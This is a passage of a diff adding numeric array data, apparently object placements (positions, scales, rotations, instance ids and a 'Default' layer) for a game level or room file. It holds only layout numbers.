+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 679.9736328125,
+ 778.919189453125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 838,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 771.967529296875,
+ 779.3953247070312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 850,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1229.095825195313,
+ 875.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 861,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.095825195313,
+ 875.2889404296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 862,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.594970703125,
+ 780.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 867,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.594970703125,
+ 780.203369140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 868,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1727.287841796875,
+ 560.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 881,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 887,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1911.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 888,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2002.287841796875,
+ 561.9337768554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 895,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2308.61474609375,
+ 728.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 933,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2400.61474609375,
+ 729.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 935,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2492.61474609375,
+ 729.9749145507812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 936,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2800.248291015625,
+ 897.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 953,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.248291015625,
+ 898.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 964,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.248291015625,
+ 898.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 972,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3075.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 918,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 919,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3259.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 978,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 979,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3443.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 982,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3535.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 983,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 987,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 988,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 898.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 991,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 899.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 993,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 899.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 994,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 681,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1002,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1004,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 864.7031860351562,
+ 495.4219360351563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 858,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 956.7031860351562,
+ 496.4219360351563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1021,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 782.9183349609375,
+ 503.9259338378906,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1161,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 587,
+ 249,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1221,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 956,
+ 349,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1222,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 410,
+ 887,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1223,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 957,
+ 880,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1224,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1458,
+ 644,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1225,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1999,
+ 458,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1226,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399,
+ 618,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1227,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2893,
+ 807,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1228,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3717,
+ 429,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1229,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3715,
+ 365,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1230,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.849365234375,
+ 767.8084106445312,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1233,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4632,
+ 559,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1243,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4847,
+ 687,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1244,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5050,
+ 566,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1246,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 171,
+ 927.5,
+ 0,
+ 372,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 957,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 948,
+ 1022,
+ 0,
+ 1206,
+ 188,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1249,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1367,
+ 1021,
+ 0,
+ 368,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1262,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1458.531982421875,
+ 927.2275390625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1286,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 911,
+ 640.939208984375,
+ 0,
+ 183.546630859375,
+ 372.0346069335938,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1287,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 772.6276245117188,
+ 781.425048828125,
+ 0,
+ 461.5509033203125,
+ 90.54046630859375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1289,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1864.2265625,
+ 800.434814453125,
+ 0,
+ 366,
+ 565.1304321289062,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1290,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2401,
+ 872.6763916015625,
+ 0,
+ 276,
+ 372.6472778320313,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4863,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.5,
+ 1041,
+ 0,
+ 277,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4864,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3495,
+ 1088.5,
+ 0,
+ 1093,
+ 277,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5785,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3904,
+ 1044,
+ 0,
+ 277,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5797,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320.5,
+ 874,
+ 0,
+ 184,
+ 468,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5798,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4630.5,
+ 664,
+ 0,
+ 93,
+ 50,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5799,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4848,
+ 791,
+ 0,
+ 93,
+ 50,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5800,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5053,
+ 664,
+ 0,
+ 93,
+ 50,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5801,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5340,
+ 877.5,
+ 0,
+ 157,
+ 477,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5802,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1665.477416992188,
+ 726.0426025390625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0.5410520434379578,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5803,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2139.71044921875,
+ 706.555908203125,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 2.234021425247192,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5804,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2630.9501953125,
+ 875.760498046875,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 2.234021425247192,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5805,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718,
+ 530.5,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5806,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3996,
+ 531,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5807,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4164.05712890625,
+ 853.2183837890625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0.7853981852531433,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5808,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5809,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5810,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
